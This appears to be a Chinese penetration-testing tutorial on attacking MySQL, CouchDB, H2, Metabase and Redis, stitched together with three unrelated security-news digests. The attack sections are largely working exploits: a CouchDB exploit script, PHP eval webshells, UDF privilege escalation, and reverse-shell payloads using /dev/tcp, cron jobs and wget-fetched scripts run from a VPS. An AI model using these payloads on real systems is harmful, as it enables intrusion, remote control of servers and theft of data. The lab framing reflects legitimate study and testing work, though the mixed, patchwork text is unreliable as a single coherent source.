MySQL 0x01mysql学习 MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统，它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用，用的人数很多。 0x02环境搭建 这里演示用，phpstudy搭建的环境，然后安装phpmyadmin 0x03漏洞复现 日志文件包含getshell 利用前提 知道网站路径，mysql版本大于5.0 利用条件 需要可读可写的权限，也就是高权限账号 所用到的命令 show variables like '%general%'; 查看日志读写功能 SET GLOBAL general_log='on'；开启日志读写功能 select @@basedir； 查看mysql所在的绝对路径 SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录，则只允许修改目录下的文件，如果值为NULL则为禁止。 SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径 修改设置，该为开启，这样才能继续利用。 再次查询，可以发现已经发生了改变 访问验证 select '<?php eval($_POST["a"]);?>'; 总结，如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件，那么可以开启日志，修改日志文件路径和文件名为php，然后执行一个带有一句话的查询语句，完成getshell。 mysql udf提权 这里使用win10 +phpstudy，直接下个msyql就行了 udf提权是mysql的一种常见的提权方式。 什么是udf？ udf可以理解为用户自定义函数，可以用udf增加一些函数，在mysql里就能用这个函数了。 提权前提 获取mysql的控制权限。 mysql具有写入权限，即secure_file_priv的值为空。 show global variables like'%secure%';用这个查询 提权背景 拿到了mysql权限，没拿到服务器权限，可以通过mysql提权使其达到拿到服务器的权限 提权实验 实验版本mysql 5.5 操作系统win10 需要udf文件，可以从sqlmap里获取或者msf中获取。 这里可以直接用国光师傅的写好udf16进制 https://www.sqlsec.com/tools/udf.htmlshow global variables like'%secure%'; 如果不是空的话可以这样修改，这个需要在mysql目录下的ini文件进行修改或者添加。 secure_file_priv=''然后重启服务。 如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。 这里我自己在目录下创建一个，也可以用NTFSADS方法创建目录，但有可能不成功。 http://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman 查询发现已经有了，然后进行文件写入。 路径D:phpstudy_proExtensionsMySQL5.5.29libplugin 如果有Can't open shared library 'udf.dll'，切换成32位试试。 实战中不成功，可以轮流尝试。 创建自定义函数并且调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select sys_eval('whoami'); select sys_eval('dir'); 发现已经成功并且是Administrator权限 couchdb数据库 漏洞介绍 ApacheCouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，CreditSuisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露利用 漏洞复现 CVE-2017-12635 PUT发包创建用户 选择内网映射端口为5984的抓包访问 http://192.168.48.133:54944/_utils/#login这个为登陆应用 发包目的是增加用户，可以用bp或者postman PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" } 成功添加用户 CVE-2017-12636 CVE-2017-12636 exp 命令执行 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://your-ip:5984' command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1""" version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}') h2database数据库 H2 是一个开源的嵌入式数据库引擎，纯 java实现的关系型数据库，不受平台的限制。 未授权访问 发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE; 在JDBC URL输入这个语句点击connect即可未授权访问 RCE姿势 在VPS里面创建个sql文件，然后远程加载利用服务。 re_shell.sql CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");'; bash -i >& /dev/tcp/ip/7888 0>&1 远程加载姿势如下，填入python启动的ip和端口 jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://IP:port/re_shell.sql'; mongodb数据库 大致介绍一下 MongoDB是一个基于分布式文件存储的数据库 由C++语言编写，旨在为WEB应用提供可扩展的高性能数据存储解决方案。 未授权访问漏洞 可以用msf检测 search mongodb 存在未授权访问漏洞 可以利用mongodb连接工具直接连接 metabase数据库分析 metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具 Metabase geojson任意文件读取漏洞 （CVE-2021-41277） payload /api/geojson?url=file:/etc/passwd Metabase 远程代码执行漏洞（CVE-2023-38646） Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞，可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。 这里使用vulhub的docker环境，vulfocus可能有问题没复现成功 GET访问 /api/session/properties exp POST /api/setup/validate HTTP/1.1 Host: your-ip Content-Type: application/json { "token": "token值", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$--=x", "advanced-options": false, "ssl": true }, "name": "test", "engine": "h2" } } 验证一下 python启动一个http服务，然后exec执行curl ip:8899/1.txt python3 -m http.server 8899 验证成功 尝试反弹shell 未能成功反弹shell，利用其他方法进行反弹shell，可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell 创建个re_shell.sh，内容如下 !/bin/sh bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1' 执行 wget http://ip:port/re_shell.sh 执行 /bin/bash /tmp/re_shell.sh 成功反弹shell

1、DLL搜索顺序劫持新变体可绕过Win10和11系统保护 https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout 安全研究人员详细介绍了动态链接库 ( DLL ) 搜索顺序劫持技术的新变体，威胁行为者可以利用该技术绕过安全机制并在运行 Microsoft Windows 10 和 Windows 11 的系统上执行恶意代码。该方法“利用受信任的 WinSxS 文件夹中常见的可执行文件，并通过经典的 DLL 搜索顺序劫持技术来利用它们” 。通过这样做，它允许攻击者在尝试在受感染的计算机上运行恶意代码 2、Terrapin新漏洞可能会降低SSH协议的安全性 https://terrapin-attack.com/ 波鸿鲁尔大学的安全研究人员发现了 Secure Shell ( SSH ) 加密网络协议中的一个漏洞，该漏洞可能允许攻击者通过破坏安全通道的完整性来降低连接的安全性。该漏洞被称为Terrapin（CVE-2023-48795，CVSS 评分：5.9），被描述为“有史以来第一个实际上可利用的前缀截断攻击”。SSH 是一种通过不安全的网络安全地向计算机发送命令的方法。它依靠加密技术来验证和加密设备之间的连接。这是通过握手来实现的，其中客户端和服务器就加密原语达成一致，并交换建立可提供机密性和完整性保证的安全通道所需的密钥。 3、公积金组织EPFO警告针对公积金账户的欺诈活动持续增长 https://www.cysecurity.news/2024/01/a-crucial-update-from-epfo-regarding.html 负责管理员工工资扣除的员工公积金组织 (EPFO) 已向其 6.5 亿成员发出关于网络犯罪威胁不断升级的警告。EPFO 发现与公积金 (PF) 账户相关的欺诈活动显着增加。诈骗者通过电话和短信冒充 EPFO 官员，欺骗个人泄露敏感的个人信息，使他们容易遭受各种形式的欺诈。为了应对这种日益严重的担忧，EPFO 敦促其成员保持高度警惕。EPFO 在监督雇员退休基金方面发挥着关键作用，雇主和雇员均向该基金缴款。雇员的 EPF 账户下的基本工资被 4、施乐公司遭INC RANSOM勒索软件攻击 https://securityaffairs.com/156679/cyber-crime/inc-ransom-ransomware-xerox-corp.html INC RANSOM 勒索软件组织声称对美国跨国公司施乐公司进行了黑客攻击。施乐公司在全球范围内提供文档管理解决方案。该公司的文档技术部门提供桌面单色和彩色打印机、多功能打印机、复印机、数字印刷机和轻型生产设备；以及用于图形通信市场和大型企业的生产印刷和出版系统。INC RANSOM 勒索软件组织声称对攻击美国跨国公司施乐公司负责，并威胁要披露涉嫌被盗的数据。INC 勒索组织将 Xerox 添加到其 Tor 泄露网站的受害者 5、TuneFab因错误配置而暴露其用户私人数据 https://securityaffairs.com/156659/security/spotify-music-converter-tunefab-data-leak.html TuneFab 转换器用于转换来自 Spotify、亚马逊 Audible 或 Apple Music 等流媒体平台的受版权保护的音乐，该转换器已暴露其用户的私人数据。该平台已暴露超过 1.51 亿条解析记录，其中包括用户的 IP 地址、用户区域、用户 ID、电子邮件和设备信息。此次泄露是由于 MongoDB（一个面向文档的数据库平台）的错误配置造成的，导致 TuneFab 的数据无密码且可公开访问。私人数据泄露 6、Black Basta 勒索软件免费解密器发布 https://www.securityweek.com/free-decryptor-released-for-black-basta-ransomware/ Black Basta 勒索软件加密算法中的漏洞允许研究人员创建免费解密器。 7、谷歌“隐身模式”追踪用户隐私诉讼达成和解赔偿50 亿美元 https://www.securityweek.com/google-settles-5-billion-privacy-lawsuit-over-tracking-people-using-incognito-mode/ 谷歌同意就一项价值 50 亿美元的隐私诉讼达成和解，该诉讼声称该公司继续监视在 Chrome 浏览器中使用“隐身”模式的用户。 8、伊朗多个组织遭到神秘黑客攻击 https://securityaffairs.com/156761/hacking/multiple-organizations-iran-hacked.html Hudson 研究人员报告称，12 月 20 日，一名名为“irleaks”的黑客宣布出售据称从伊朗 23 家领先保险公司窃取的超过 1.6 亿条记录。黑客声称，被盗数据包括名字、姓氏、出生日期、父亲姓名、电话号码、手机号码、国家代码、公司国家代码等。黑客还分享了数据样本，售价 60,000 美元。12 月 30 日，irleaks 还声称入侵了伊朗最大的外卖平台 SnapFood，窃取了 3 TB 数据。 9、Zeppelin2 勒索软件生成器在暗网上出售 https://thecyberexpress.com/zeppelin2-ransomware/ 地下论坛上的一名用户正在推销 Zeppelin2 勒索软件，提供其源代码和其构建工具的破解版本。Zeppelin2 自 2019 年以来一直使用，针对包括医疗保健和技术在内的各个领域。 10、谷歌OAuth验证系统曝零日漏洞，可被黑客用于账户劫持 https://www.freebuf.com/news/388434.html 近日，有多个窃取信息的恶意软件家族正在滥用一个未记录的名为 "MultiLogin "的谷歌 OAuth 端点恢复过期的身份验证 cookie 。通过这种方式黑客可以获取到用户账户信息，即使账户密码已被重置仍能成功登陆。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识，那么什么是redis？redis就是个数据库，常见端口为6379，常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境，也可以用vulfocus搭建一个环境，可以两个都搭建，因为一些攻击手法，需要自己搭建的环境才能成功。 ubuntu 20.04+docker docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=127.0.0.1 vulfocus/vulfocus 建议vulfocus最好搭建在云服务器上，本机搭建的有的环境可能会复现不成功。 0x03漏洞复现 Redis Lua沙盒绕过 命令执行 CVE-2022-0543 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意Lua 功能 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令 代码如下 local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res payload如下 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 漏洞复现 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0 这里可以用another redis 这个个管理工具，方便redis数据库使用 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("find / -name flag*", "r"); local res = f:read("*a"); f:close(); return res' 0 未授权访问redis 未授权访问 （CNVD-2015-07557） 这个未授权访问存在很多，而且面试也很常问，实战也能遇见到。 攻击姿势常见有三种，1写入公钥，2写入webshell,3写入计划任务，当然其中有不少细节，我们需要去掌握。 1.linux写入公钥 利用前提 Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态 允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器 ssh-keygen -t rsa cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt cat key.txt | redis-cli -h 目标IP -x set xxx 这里权限不够，这个是vulfocus有问题 满足条件的话可以直接这样，可以自己搭建一个redis环境做实验 具体搭建可参考 https://blog.csdn.net/qq_41210745/article/details/103305262yes要改成no 环境启动，接着 config set dir /root/.ssh/ config set dbfilename authorized_keys save cd /root/.ssh/ ssh -i id_rsa root@目标IP 已经成功写入 进入该ubuntu查看 cd /root/.ssh/ 尝试SSH连接 ssh -i id_rsa root@192.168.48.133 可以看到成功拿下 2.写入webshell 前提条件，有可写权限，存在web服务，知道web路径 继续用该环境下尝试webshell写入 命令如下 FLUSHALL 使用这个清空之前的配置 前提条件，web目录可以读写 config set dir /tmp 设置WEB写入目录 config set dbfilename test.php 设置写入文件名 set test "<?php phpinfo();?>" 设置写入文件代码 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" 换行防止执行失败 bgsave 保存执行 save chmod -R 777 /var/www/html/ 这里设置html尝试写入webshell 3.写计划任务反弹shell FLUSHALL 记得清空配置 利用条件：Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态 环境依然是上面的配置环境 config set dir /var/spool/cron set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n\n\n" config set dbfilename x save set yy "nnn* * * * * bash -i >& /dev/tcp/192.168.48.133/9999 0>&1\n\n\n" 注意： centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码，所以导致命令执行失败 可以看到有乱码，ubuntu并未正常执行 主从复制利用 https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行 redis-rogue-serve python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325 --lhost 192.168.48.132 https://github.com/vulhub/redis-rogue-getshell这里记得要编译 cd RedisModulesSDK/ make python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "id" python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*" 实际情况中我们可以灵活运用exp.so文件，不一定非得用脚本，比如这种情况 天翼杯 考点反序列化，redis主从复制RCE代码 <?php class a{ public $code = ""; function __call($method,$args){ eval($this->code); } // function __wakeup(){ // $this->code = ""; // } } class b{ function __destruct(){ echo $this->a->a(); } } $a=new A(); $b=new B(); $a->code="phpinfo();"; $b->a=$a; echo serialize($b); 构造POP链子，可以看到call魔术方法里面有eval函数，那么需要构造链子触发到call魔术方法。 call():当调用对象中不存在的方法会自动调用该方法wakeup()当使用unserialize()反序列化一个对象后，会自动调用该对象的__wakeup方法 这里destruct方法调用了一个不存在的a方法，那么会调用到call方法 因为wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤，所以接下来要做到绕过wakeup和正则，这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过，A，B换成a,b，其中wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。 如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}} 这里无法执行system("ls"） 蚁剑连接$a->code="eval($_POST["a"]);"; 打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上 使用EXP.so文件 MODULE LOAD /var/www/html/exp.so 然后就可以进行命令执行了 若有收获，就点个赞吧。

1、微软禁用恶意软件攻击中滥用的MSIX协议处理程序 https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/ 在多个出于经济动机的威胁团体滥用 MSIX ms-appinstaller 协议处理程序以恶意软件感染 Windows 用户后，微软再次禁用了 MSIX ms-appinstaller 协议处理程序。攻击者利用CVE-2021-43890 Windows AppX Installer 欺骗漏洞来规避安全措施，这些措施可以保护 Windows 用户免受恶意软件的侵 2、松下航空电子公司披露2022年12月网络攻击后数据泄露事件 https://www.documentcloud.org/documents/24238563-panasonic-avionics-corporation-consumer-notice-letter 飞行通信和娱乐系统的领先供应商松下航空电子公司在一年多前（即 2022 年 12 月）公司网络遭到破坏后，披露了一次数据泄露事件，影响人数不详。攻击者破坏了其公司网络上的部分设备，并获得了从受影响的个人及其雇主收集的信息的访问权限。尽管一些个人和健康信息在事件中被曝光，但松下尚未找到证据表明自袭击以来这些信息被滥用。泄露期间受影响的信息包括受影响个人的姓名、联系方式（电子邮件地址、邮寄地址 3、攻击者冒充招聘人员窃取区块链开发人员的加密货币 https://twitter.com/muratctp/status/1739224777955369420 一位区块链开发人员分享了他在假期期间的事件，当时一位“招聘人员”在 LinkedIn 上向他寻求一份网络开发工作。相关招聘人员要求开发人员从 GitHub 存储库下载 npm 包，几个小时后，开发人员发现他的 MetaMask 钱包已被清空。安塔利亚的区块链和网络开发人员Murat Çeliktepe本周分享了 LinkedIn 上一位“招聘人员”如何通过看似合法的 Upwork 招聘信息找到他。作为面试的一部分，招聘人员要求 Çeliktepe 下载并调试托管在 GitHub 存 4、Kroll发布2023年8月份数据泄露中影响的FTX客户信息 https://www.mass.gov/doc/assigned-data-breach-number-31103-kroll-restructuring-administration-llc-12-8-23/download 风险和财务咨询公司 Kroll 发布了有关 8 月份数据泄露的更多详细信息，该事件暴露了 FTX 破产申请人的个人信息。暴露的数据包括代币持有量和余额，这将使威胁行为者能够确定在加密货币市场进行大量投资的有吸引力的目标。该公司发布的信中提示到，这封信提供了重要信息，可以帮助保护您和您的数字资产免遭滥用您的个人数据，包括您的姓名、电子邮件地址、电话号码、地址、索赔编号 5、停车应用开发商EasyPark披露数据泄露可能影响数百万用户 https://www.easypark.com/en-de/comm 停车应用开发商 EasyPark 在其网站上发布了一份通知，警告其于 2023 年 12 月 10 日发现的数据泄露事件，该事件影响了其数百万用户中数量未知的情况。EasyPark 是一家瑞典公司，开发移动和网络应用程序，用作停车位定位器、预订管理器和电动汽车充电点查找器。该公司在20个国家和4000多个城市运营数字停车服务，覆盖欧洲大部分地区、美国、澳大利亚、新西兰和英国。ParkMobile 披露了 2021 年发生的大规模数据泄露事件 ，导致 2100 万客户的数据被盗。该数据库随后在黑客论坛上免费发布。 6、APT28组织使用新型恶意软件针对乌克兰发起网络攻击 https://cert.gov.ua/article/6276894 乌克兰计算机紧急响应小组 (CERT-UA) 警告称，与俄罗斯有关的 APT28 组织精心策划了一场新的网络钓鱼活动，该活动部署了 OCEANMAP、MASEPIE 和 STEELHOOK 等以前未记录的恶意软件，以获取敏感信息。该机构于 2023 年 12 月 15 日至 25 日期间发现了这一活动，该活动针对乌克兰政府实体和波兰组织，通过电子邮件敦促收件人点击链接查看文档。 7、信息窃取器利用新型Google OAuth2漏洞进行会话劫持 https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking 研究人员警告说，多个恶意软件即服务信息窃取程序现在能够操纵身份验证令牌，使用户能够持续访问受害者的 Google 帐户，即使在用户重置密码后也是如此。2023 年 10 月，开发人员发现了一个关键漏洞，该漏洞允许通过令牌操作生成持久性 Google cookie。即使在用户重置密码后，此漏洞也可以持续访问 Google 服务。 8、阿尔巴尼亚的议会和电信公司遭受网络攻击 https://cesk.gov.al/deklarate-zyrtare-3/ 阿尔巴尼亚国家电子认证和网络安全局 (AKCESK) 本周透露，阿尔巴尼亚共和国议会和电信公司 One Albania 已成为网络攻击的目标。AKCESK表示：“根据现行立法，这些基础设施目前并未被归类为关键或重要的信息基础设施。”拥有近150万用户的 One Albania 在12月25日的 Facebook 帖子中表示，该公司已经处理了此次安全事件，没有出现任何问题，其包括移动、固定电话和 IPTV 在内的服务并未受到影响。AKCESK 进一步指出，入侵并非源自阿尔巴尼亚 IP 地址，并补充说它设法“实时识 9、新型Black Basta解密器使用勒索软件漏洞以恢复文件 https://github.com/srlabs/black-basta-buster 研究人员创建了一种解密器，该解密器利用 Black Basta 勒索软件中的漏洞，使受害者可以免费恢复其文件。该解密器允许 Black Basta 受害者从 2022 年 11 月到本月免费恢复他们的文件。然而Black Basta 开发人员大约一周前修复了其加密例程中的错误，从而防止了这种解密技术被用于新的攻击。“Black Basta Buster”解密器来自安全研究实验室发现勒索软件团伙的加密器使用的加密算法存在一个弱点，该弱点允许发现用于异或加密文件的 ChaCha 密钥流。 10、攻击者在暗网中发起Leaksmas活动泄露大量PII和受损数据 https://www.resecurity.com/blog/article/cybercriminals-launched-leaksmas-event-in-the-dark-web-exposing-massive-volumes-of-leaked-pii-and-compromised-data 平安夜，研究人员观察到暗网上有多个行为者泄露了大量数据。超过 5000 万条包含世界各地消费者 PII 的记录已被泄露。此活动造成的实际损失可能高达数百万美元。由于个人数据和数字身份之间错综复杂的互连，减轻这种损害尤其具有挑战性。对于普通消费者来说，在实践中更改这些信息是一个复杂且通常困 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、iPhone三角测量攻击滥用了未记录的硬件功能 https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/ 自 2019 年以来，针对 iPhone 设备的三角测量行动间谍软件攻击利用了 Apple 芯片中未记录的功能来绕过基于硬件的安全保护。研究人员在过去一年中一直在对复杂的攻击链进行逆向工程，试图挖掘出支持他们最初于 2023 年 6 月发现的攻击活动的所有细节。发现和使用可能用于调试和工厂测试的不起眼的硬件功能来对 iPhone 用户发起间谍软件攻击表明，这是一个经验丰富的威胁行为者实施了该活动。三角测量行动是一种针对 Apple 2、DragonForce勒索软件针对俄亥俄州彩票发起网络攻击 https://ohiolottery.com/security 圣诞节前夕，一次网络攻击影响了数量不详的内部申请，俄亥俄州彩票被迫关闭了一些关键系统。虽然该事件目前正在调查中，并且彩票正在努力恢复所有受影响的服务，但其游戏系统仍然全面运行。该彩票在周三发布的新闻稿中表示：“超级零售商目前不提供移动兑现和 599 美元以上奖金兑现服务。”根据另一份公告，在事件调查和系统恢复上线期间，客户还可以查看俄亥俄州彩票网站和移动应用程序中的中奖号码。他们还可以在任何俄亥俄州彩票零售商网点兑现高达 599 美元的奖金，但超过 600 美元的奖金必须邮寄到俄亥俄州彩票中心办公室或使用数字索赔表领取。 3、Lockbit勒索软件针对德国医院发起攻击影响其紧急护理 https://www.kho.de/kho/index.php 德国医院网络 Katholische Hospitalvereinigung Ostwestfalen (KHO) 已证实，最近三家医院的服务中断是由 Lockbit 勒索软件攻击造成的。这次袭击发生在 2023 年 12 月 24 日星期六凌晨。它严重影响了支持德国比勒费尔德、雷达-维登布吕克和黑尔福德三家医院运营的系统。该医院发布的公告称身份不明的攻击者已经访问了医院 IT 基础设施的系统，并加密了数据。初步测试表明，这可能是 Lockbit 3.0 的网络攻击，目前解决时间无法预见。出于安全原因，所有系统一经发现立即关闭 4、抵押贷款公司LoanCare警告130万借款人称其数据泄露 https://capedge.com/filing/1331875/0001331875-23-000064/FNF-8K 抵押贷款服务公司 LoanCare 警告全美 1316938 名借款人，他们的敏感信息在其母公司 Fidelity National Financial 的数据泄露中遭到泄露。LoanCare 是一家次级服务和临时次级服务提供商，也是抵押贷款服务领域的重要参与者，处理着 120 万笔贷款中约 3900 亿美元的余额。上周，其母公司富达国家金融公司（美国著名的产权保险提供商）在美国 证券交易委员会的一份文件中披露了一次网络攻击。披露后，LoanCare 在其网站上发布了 5、澳大利亚最大的医疗保健提供商遭到网络攻击 https://www.freebuf.com/news/387994.html 近日，澳大利亚最大的医疗保健提供商——圣文森特健康澳大利亚在遭受网络攻击后导致数据泄露。 6、腾讯发布AI安全助手，助力企业智能化安全运营 http://www.anquan419.com/knews/24/6481.html 会上腾讯云安全发布“全域安全”解决方案，通过打造CNAPP+SIEM的安全一体化平台，结合首次对外发布的AI安全助手的应用，助力企业实现智能的统一安全运营。 7、 江海证券因网络安全问题被要求整改 http://www.anquan419.com/knews/24/6482.html 近日，黑龙江证监局发布公告表示，江海证券存在关于IT治理、网络安全管理的内部决策、执行机制不健全；公司App个人信息保护合规性检测不充分，App强制、频繁、过度索取权限等问题。 8、Google云解决了影响 Kubernetes 服务的权限升级漏洞 https://thehackernews.com/2023/12/google-cloud-resolves-privilege.html Google Cloud 已经解决了其平台中的一个中度安全漏洞，该漏洞可能被已经有权访问 Kubernetes 集群的攻击者滥用以升级其权限。 9、阿尔巴尼亚议会和电信公司遭受网络攻击 https://therecord.media/albanian-parliament-telecom-company-hit-by-cyberattacks 阿尔巴尼亚议会和一家电信公司成为来自阿尔巴尼亚境外的网络攻击的目标。这些攻击试图干扰基础设施并删除数据，但尚未将其归因于特定的威胁行为者。 10、攻击者通过 Play 商店分发Xamalicious Android 恶意软件 https://securityaffairs.com/156514/malware/xamalicious-android-backdoor.html 研究人员发现了一种名为 Xamalicious 的新 Android 恶意软件，它可以完全控制设备并执行欺诈操作。Xamalicious依靠社会工程来获得可访问权限，然后它连接到C2来评估是否下载第二阶段的有效负载。恶意有效负载在运行时作为程序集 DLL 动态注入，以完全控制设备并执行广泛的欺诈操作，例如点击广告和安装应用程序。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

